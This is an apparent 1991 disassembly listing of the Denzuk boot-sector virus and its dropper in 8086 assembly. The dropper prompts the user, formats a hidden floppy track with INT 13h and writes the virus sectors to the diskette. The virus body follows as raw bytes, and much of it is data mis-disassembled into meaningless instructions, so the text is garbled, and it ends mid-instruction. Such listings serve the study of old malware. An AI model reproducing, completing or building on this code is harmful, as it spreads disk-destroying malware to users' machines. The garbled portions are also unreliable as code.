PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ DENZUK ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 4-Feb-91 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: J ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_0001e equ 24h data_0002e equ 26h data_0003e equ 4Ch data_0004e equ 4Eh data_0005e equ 78h data_0006e equ 1BCh data_0007e equ 1BEh main_ram_size_ equ 413h keybd_flags_1_ equ 417h video_mode_ equ 449h warm_boot_flag_ equ 472h data_0008e equ 4F6h data_0009e equ 51Ch ;* data_0010e equ 61Eh ;* data_0011e equ 7C00h ;* data_0012e equ 7C0Bh ;* data_0013e equ 7C0Eh ;* data_0014e equ 7C10h ;* data_0015e equ 7C11h ;* data_0016e equ 7C15h ;* data_0017e equ 7C16h ;* data_0018e equ 7C18h ;* data_0019e equ 7C1Ah ;* data_0020e equ 7C1Ch ;* data_0021e equ 7C2Ah ;* data_0022e equ 7C2Bh ;* data_0023e equ 7C37h ;* data_0024e equ 7C39h ;* data_0025e equ 7C3Bh ;* data_0026e equ 7C3Ch ;* data_0027e equ 7C3Dh ;* data_0028e equ 7C3Fh ;* data_0029e equ 7D77h ;* data_0030e equ 7DD6h ;* data_0031e equ 7DE1h ;* data_0032e equ 7DFDh ;* data_0033e equ 0 data_0035e equ 28h data_0036e equ 33h data_0037e equ 5Ch data_0157e equ 1E50h ;* data_0158e equ 2000h ;* data_0161e equ 2A00h ;* data_0164e equ 7C00h ;* data_0165e equ 7C0Bh ;* data_0166e equ 7C15h ;* data_0167e equ 7C18h ;* data_0168e equ 7C1Ah ;* data_0169e equ 7C1Eh ;* data_0171e equ 7C2Ch ;* data_0172e equ 7C2Eh ;* data_0173e equ 7C30h ;* data_0174e equ 7C31h ;* data_0175e equ 7C32h ;* data_0176e equ 7CC6h ;* data_0178e equ 7E00h ;* data_0179e equ 8002h ;* data_0181e equ 0A82Ah ;* data_0182e equ 0AA00h ;* data_0183e equ 0AA02h ;* data_0185e equ 0AA2Ah ;* data_0186e equ 0AAAAh ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h denzuk proc far start: mov dx,29Dh dec byte ptr ds:data_0037e jns loc_0002 ; Jump if not sign jmp loc_0008 loc_0002: mov dx,1BFh call sub_0001 xor ah,ah ; Zero register int 16h ; Keyboard i/o ah=function 00h ; get keybd char in al, ah=scan and al,0DFh cmp al,59h ; 'Y' jne loc_ret_0009 ; Jump if not equal mov dl,ds:data_0037e xor ah,ah ; Zero register int 13h ; Disk dl=drive a ah=func 00h ; reset disk, al=return status jc loc_0007 ; Jump if carry Set push dx mov dx,281h call sub_0001 pop dx mov ax,351Eh int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov al,9 xchg al,es:[bx+4] push es push bx push ax push ds pop es xor dh,dh ; Zero register mov ch,28h ; '(' mov bx,offset data_0040 mov ax,509h int 13h ; Disk dl=drive a ah=func 05h ; format track=ch or cylindr=cx ; al=interleave, dh=head pop ax pop bx pop es jc loc_0007 ; Jump if carry Set mov es:[bx+4],al push ds pop es cld ; Clear direction mov si,offset data_0058 jmp short loc_0004 loc_0003: test dh,dh jnz loc_0004 ; Jump if not zero dec cx jz loc_ret_0009 ; Jump if zero loc_0004: lea bx,[si+5] ; Load effective addr mov bp,200h lodsb ; String [si] to al cmp al,0F6h je loc_0006 ; Jump if equal mov bx,offset data_0049 cmp al,[bx] je loc_0005 ; Jump if equal mov di,bx mov cx,bp rep stosb ; Rep when cx >0 Store al to es:[di] loc_0005: xor bp,bp ; Zero register loc_0006: lodsw ; String [si] to ax xchg ax,cx lodsw ; String [si] to ax xchg ax,dx or dl,ds:data_0037e lea si,[bp+si] ; Load effective addr mov ax,301h push si push cx push dx int 13h ; Disk dl=drive a ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head pop dx pop cx pop si jnc loc_0003 ; Jump if carry=0 loc_0007: mov dx,offset data_0048 denzuk endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0001 proc near loc_0008: mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx loc_ret_0009: retn sub_0001 endp data_0040 db 28h db 00h, 21h, 02h, 28h, 00h, 22h db 02h, 28h, 00h, 23h, 02h, 28h db 00h, 24h, 02h, 28h, 00h, 25h db 02h, 28h, 00h, 26h, 02h, 28h db 00h, 27h, 02h, 28h, 00h, 28h db 02h, 28h, 00h, 29h, 02h db 0Dh data_0041 db 0Ah, 'You are about to install a ' db 'VIRUS on your diskette!!!', 0Dh, 0Ah db 'This will des' data_0043 dw 7274h data_0044 db 6Fh data_0045 dw 2079h db 'ALL data on the diskette!!!', 0Dh db 0Ah, 'Inser' data_0046 dw 2074h db 'a formatted 360K di' data_0047 dw 6B73h db 'ette into the drive.', 0Dh, 0Ah, 'A' db 're you sure you want to proceed ' db '(y/N)? $' db 0Dh, 0Ah, 0Ah, 'Writing...$' data_0048 db 0Dh db 0Ah, 45h, 72h, 72h, 6Fh, 72h db 07h, 21h, 07h, 21h, 07h db '!$' db 'Usage: DENZUK A: ', 0Dh, 0Ah db '$' data_0049 dw 167 dup (0) data_0050 dw 0 data_0051 db 0 data_0052 dw 0, 0 data_0054 dw 0, 0 db 82 dup (0) data_0056 dd 00000h data_0057 dd 00000h db 77 dup (0) data_0058 db 0F6h db 29h, 28h, 00h, 00h,0FFh locloop_0011: loop locloop_0011 ; Loop if cx > 0 pop di pop si pop es pop ds pop dx pop cx pop ax popf ; Pop flags retn db 8Dh, 36h,0D1h, 07h db 0BFh, 90h, 0Bh,0B9h, 00h, 05h db 0F3h,0A4h db 8Dh, 36h,0D1h, 0Ch db 0BFh, 40h, 2Bh,0B9h, 00h, 05h db 0F3h,0A4h,0C3h, 51h,0FCh, 32h db 0D2h,0BEh, 10h, 00h loc_0012: mov cx,28h locloop_0013: mov ax,es:[di] xchg al,ah ror ax,1 ; Rotate ror ax,1 ; Rotate mov dh,ah and dh,0C0h and ah,3Fh ; '?' or ah,dl mov dl,dh xchg al,ah stosw ; Store ax to es:[di] loop locloop_0013 ; Loop if cx > 0 dec si jnz loc_0012 ; Jump if not zero pop cx retn db 51h,0FDh, 32h,0D2h db 0BEh, 10h, 00h loc_0014: mov cx,28h locloop_0015: mov ax,es:[di] xchg al,ah rol ax,1 ; Rotate rol ax,1 ; Rotate mov dh,al and dh,3 and al,0FCh or al,dl mov dl,dh xchg al,ah stosw ; Store ax to es:[di] loop locloop_0015 ; Loop if cx > 0 dec si jnz loc_0014 ; Jump if not zero pop cx cld ; Clear direction retn data_0066 db 'WS EXE ', 0 db 9 dup (0) db 52h,0B1h, 3Bh, 12h, 02h, 00h db 00h, 5Eh, 02h, 00h db 'WSHELP OVR!' db 0 db 9 dup (0) db 03h, 88h, 12h, 11h, 41h, 01h db 0A0h, 9Dh, 00h, 00h db 'WSSPELL OVR!' db 0 db 9 dup (0) db 03h, 88h, 12h, 11h, 9Fh, 00h db 80h, 80h, 00h, 00h, 59h,0F9h db 43h,0F9h, 31h,0F9h, 45h,0F9h db 52h,0F9h, 50h, 29h, 00h db 9 dup (0) db 0A0h,0B2h, 46h, 12h, 00h, 00h db 00h, 00h, 00h, 00h db 'WSMSGS OVR!' db 0 db 9 dup (0) db 03h, 88h, 12h, 11h,0C0h, 00h db 62h, 53h, 00h, 00h db 'PREVIEW OVR!' db 0 db 9 dup (0) db 03h, 88h, 0Fh, 11h, 16h, 01h db 10h,0ABh, 00h, 00h db 'PREVIEW MSG!' db 0 db 9 dup (0) db 03h, 88h, 0Fh, 11h,0D5h, 00h db 00h, 22h, 00h, 00h db 'DRAFT PDF!' db 0 db 9 dup (0) db 03h, 88h, 12h, 11h,0DEh, 00h db 0AAh, 03h, 00h, 00h db 'WSSHORT OVR!' db 0 db 9 dup (0) db 03h, 88h, 12h, 11h,0DFh, 00h db 00h, 02h, 00h, 00h db 'WS4 PDF!' db 0 db 9 dup (0) db 03h, 88h, 12h, 11h,0E0h, 00h db 0ABh, 01h, 00h, 00h db 'CONFIG SYS!' db 0 db 9 dup (0) db 11h,0A3h, 39h, 12h,0E1h, 00h locloop_0017: or ax,[bx+si] add [bx+si],al inc cx push bp push sp dec di inc bp pop ax inc bp inc bx inc dx inc cx push sp and [bx+si],ax add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],ah mov word ptr ds:[1239h],ax loop locloop_0018 ; Loop if cx > 0 locloop_0018: or [bx+si],ax add [bx+si],al push di push bx dec ax pop cx push ax dec ax and [bx+si],ah dec di imul byte ptr [bx+si] ; ax = data * al sub [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0183e test al,0 add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al or ch,[bp+si+0A0h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add ch,[bp+si-5556h] add byte ptr [bx+si],0 add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0182e stosb ; Store al to es:[di] add [bx+si],al or ch,[bp+si+0A8h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bp+si-7F56h],ch add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add byte ptr [bx+si],0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al sub ch,[bp+si+80h] add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,byte ptr ds:[0A00h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bp+si],ch stosb ; Store al to es:[di] test al,0 add ch,[bp+si+0A0h] add ch,[bp+si+0A8h] add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bp+si+80h],ch add [bx+si],al add [bp+si-5556h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bp+si],ch stosb ; Store al to es:[di] add byte ptr [bx+si],2 stosb ; Store al to es:[di] mov al,ds:data_0033e stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bp+si],al add byte ptr [bx+si],0 add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e add ch,[bp+si+2A00h] mov al,ds:data_0033e add ch,[bp+si+0A0h] add [bp+si],ch stosb ; Store al to es:[di] add byte ptr [bx+si],0 add ch,[bp+si-5556h] mov al,ds:data_0033e add [bx+si],al add [bx+si],al pushf ; Push flags push ax push cx push dx push ds push es push si push di push cs pop ds mov ax,5 int 10h ; Video display ah=functn 00h ; set display mode in al mov ax,0B800h mov es,ax ;* call sub_0002 ;* db 0E8h, 24h, 00h mov cx,10h locloop_0019: call sub_0003 mov di,3040h ;* call sub_0004 ;* db 0E8h, 57h, 00h loop locloop_0019 ; Loop if cx > 0 mov cx,0FFFFh locloop_0020: loop locloop_0020 ; Loop if cx > 0 mov cx,0F6FFh daa ; Decimal adjust sub [bx+si],al add [bp+si],al stosb ; Store al to es:[di] test al,0 add [bp+si-5556h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0003 proc near add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al or ch,[bp+si+0A0h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al or ch,[bp+si-5F56h] add [bx+si],al or ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bx+si],al add ch,[bp+si+0AAh] add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e sub al,[bx+si] add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bp+si+0A8h],ch add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0Ah stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] mov al,ds:data_0033e add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0179e add [bx+si],al add [bp+si-5756h],ch add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0158e add [bp+si-5556h],ch add [bp+si],cl stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bp+si-7F56h],ch add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0181e add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0Ah stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al or ch,[bp+si+0A8h] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0186e add [bx+si],al add [bp+si-5556h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e test al,0 or ch,[bp+si-5556h] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0185e add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch mul byte ptr ds:data_0035e ; ax = data * al add [bx+si],al add [bx+si],al sub ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,byte ptr data_0041+40h ; (' ') stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bp+si],ch stosb ; Store al to es:[di] mov al,byte ptr data_0041+40h ; (' ') stosb ; Store al to es:[di] mov al,byte ptr data_0041+40h ; (' ') stosb ; Store al to es:[di] test al,0 add [bp+si],cl stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bx+si],al or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bp+si],ch add byte ptr [bx+si],0 add [bx+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e sub ch,[bp+si+2A00h] stosb ; Store al to es:[di] add [bx+si],al add ch,[bp+si+0A0h] add [bp+si],ch stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add byte ptr [bx+si],0 add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e add [bp+si],ch add [bp+si],ch add [bx+si],al add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e or ch,[bp+si+0A0h] add [bx+si],al or ch,[bx+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al or ch,[bp+si+0A8h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,byte ptr ds:[2800h] add [bx+si],al add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e or ch,[bp+si+0A0h] add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e mov al,ds:data_0033e add [bx+si],al or ch,[bp+si+80h] add [bx+si],al add ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],2Ah ; '*' stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],cl stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,byte ptr ds:[0F600h] and ax,28h add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,byte ptr ds:[2800h] add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,byte ptr ds:[0AA0Ah] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add ch,[bp+si+0AAh] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0181e add [bx+si],al add [bp+si-5556h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e mov al,ds:data_0182e stosb ; Store al to es:[di] stosb ; Store al to es:[di] or ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0185e add byte ptr [bx+si],0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bx+si],al add [bx+si],al add 